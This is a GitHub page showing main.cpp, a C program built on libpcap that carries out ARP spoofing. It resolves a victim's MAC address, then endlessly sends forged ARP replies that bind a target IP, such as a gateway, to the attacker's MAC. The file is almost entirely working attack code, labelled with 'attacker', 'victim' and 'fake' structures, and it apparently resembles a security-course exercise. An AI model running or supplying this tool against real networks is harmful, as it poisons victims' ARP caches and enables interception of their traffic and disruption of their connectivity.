-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.cpp
215 lines (182 loc) · 5.42 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#include <pcap.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#define ETHER_HEADER_SIZE 14
#define ETHERADDR_LEN 6
#define ETHERTYPE_ARP 0X0806
#define ARPHRD_ETHER 1
#define ETHERTYPE_IP 0X0800
#define IPADDR_LEN 4
#define ARP_REQ 1
#define ARP_REPLY 2
struct arp{
u_int16_t htype; // Hardware Type
u_int16_t ptype; // Protocol Type
u_char hlen; // MAC Address Length
u_char plen; // Protocol Address Length
u_int16_t oper; // Operation Code
u_char sha[6]; // Sender MAC Address
u_char spa[4]; // Send IP Address
u_char tha[6]; // Target MAC Address
u_char tpa[4]; // Target IP Address
};
struct mac_ip_info{
u_char ip[4];
u_char mac[6];
};
int GetMyAddr(char *dev, struct mac_ip_info * info){
u_int32_t sock;
struct ifreq ifr;
sock = socket(AF_INET, SOCK_DGRAM,0);
if (sock == -1){
fprintf(stderr, "Create socket error\n");
exit(EXIT_FAILURE);
}
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
if((ioctl(sock, SIOCGIFADDR, &ifr)) <0){
fprintf(stderr, "Ip ictol error\n");
exit(EXIT_FAILURE);
}
memcpy(info->ip, &((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr,IPADDR_LEN);
if((ioctl(sock,SIOCGIFHWADDR, &ifr)) < 0) {
fprintf(stderr, "Mac ictol error\n");
exit(EXIT_FAILURE);
}
memcpy(info->mac, ifr.ifr_hwaddr.sa_data,ETHERADDR_LEN);
return 0;
}
void * strToip(char * ip,struct mac_ip_info * info){
char * p = strtok(ip,".");
int i = 0;
info->ip[0] = atoi(p);
while(p!=NULL){
i++;
p=strtok(NULL,".");
if(p)
info->ip[i] = atoi(p);
}
}
void GetVictimInfo(char * ip,struct mac_ip_info * info){
strToip(ip,info);
for(int i =0;i<6;i++) info->mac[i]=0;
}
void print_mac_addr(u_char * mac_addr){
printf("[%02x:%02x:%02x:%02x:%02x:%02x]\n",
mac_addr[0],
mac_addr[1],
mac_addr[2],
mac_addr[3],
mac_addr[4],
mac_addr[5]);
}
void print_ip_addr(u_char * ip_addr){
u_int32_t i;
for(i=0;i<4;i++){
if(i != 3)
printf("%d.", ip_addr[i]);
else
printf("%d\n", ip_addr[i]);
}
}
void send_arp(pcap_t * handle,char * dev,struct mac_ip_info * sender, struct mac_ip_info * target, uint16_t oper){
u_char packet[42];
struct ether_header * ether = (struct ether_header*)packet;
struct arp * arp_header = (struct arp *)(packet+ETHER_HEADER_SIZE);
u_char ether_broadcast[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_char arp_broadcast[6]={0};
memcpy(ether->ether_shost,sender->mac,6);
if(!memcmp(target->mac,arp_broadcast,ETHERADDR_LEN)){
memcpy(ether->ether_dhost,ether_broadcast,ETHER_ADDR_LEN);
}
else {
memcpy(ether->ether_dhost,target->mac,ETHER_ADDR_LEN);
}
ether->ether_type=htons(ETHERTYPE_ARP);
arp_header->htype=htons(ARPHRD_ETHER);
arp_header->ptype=htons(ETHERTYPE_IP);
arp_header->hlen = ETHERADDR_LEN;
arp_header->plen = IPADDR_LEN;
arp_header->oper = htons(oper);
memcpy(arp_header->sha,sender->mac,ETHER_ADDR_LEN);
memcpy(arp_header->spa,sender->ip,IPADDR_LEN);
if(oper == ARP_REQ)
memcpy(arp_header->tha, arp_broadcast ,ETHER_ADDR_LEN);
else
memcpy(arp_header->tha,target->mac,ETHER_ADDR_LEN);
memcpy(arp_header->tpa, target->ip, IPADDR_LEN);
if (pcap_sendpacket(handle, packet, 42) != 0){
fprintf(stderr,"\nError sending the packet : \n", pcap_geterr(handle));
return ;
}
}
void usage() {
printf("syntax: send_arp <interface> <sender ip> <target ip>\n");
printf("sample: send_arp eth0 192.168.31.114 192.168.31.1\n");
}
int main(int argc, char* argv[]) {
if (argc != 4) {
usage();
return -1;
}
char* dev = argv[1];
char errbuf[PCAP_ERRBUF_SIZE];
struct mac_ip_info * attacker = (struct mac_ip_info *)malloc(sizeof(struct mac_ip_info));
struct mac_ip_info * victim = (struct mac_ip_info *)malloc(sizeof(struct mac_ip_info));
struct mac_ip_info * fake = (struct mac_ip_info *)malloc(sizeof(struct mac_ip_info));
struct pcap_pkthdr* header;
struct ether_header * ether_header;
struct arp * arp_header;
const u_char * packet;
int res;
pcap_t* handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "couldn't open device %s: %s\n", dev, errbuf);
return -1;
}
GetMyAddr(dev, attacker);
GetVictimInfo(argv[2],victim);
printf("[*] victim ip addr : "); print_ip_addr(victim->ip);
printf("[*] LOCAL MAC ADDR : "); print_mac_addr(attacker->mac);
printf("[*] LOCAL IP ADDR : "); print_ip_addr(attacker->ip);
while(true){
send_arp(handle,dev,attacker,victim,ARP_REQ);
res = pcap_next_ex(handle,&header,&packet);
if(res == 0) continue;
if(res == -1 || res == -2) break;
ether_header = (struct ether_header *)packet;
if(ntohs(ether_header->ether_type) == ETHERTYPE_ARP){
arp_header = (struct arp*)(packet+ETHER_HEADER_SIZE);
if(ntohs(arp_header->oper) == ARP_REPLY){
if(!memcmp(arp_header->tpa,attacker->ip,IPADDR_LEN)){
memcpy(victim->mac,arp_header->sha,ETHERADDR_LEN);
printf("[*] Victim's Mac : "); print_mac_addr(victim->mac);
break;
}
}
}
}
strToip(argv[3],fake);
memcpy(fake->mac,attacker->mac,ETHERADDR_LEN);
printf("[*] Fake IP : "); print_ip_addr(fake->ip);
printf("[*] Fake Mac : "); print_mac_addr(fake->mac);
printf("[*] Victim IP : "); print_ip_addr(victim->ip);
printf("[*] Victim Mac : "); print_mac_addr(victim->mac);
printf("send arp_reply....\n");
while(true){
sleep(1);
send_arp(handle,dev,fake,victim,ARP_REPLY);
}
pcap_close(handle);
free(attacker);
free(victim);
free(fake);
return 0;
}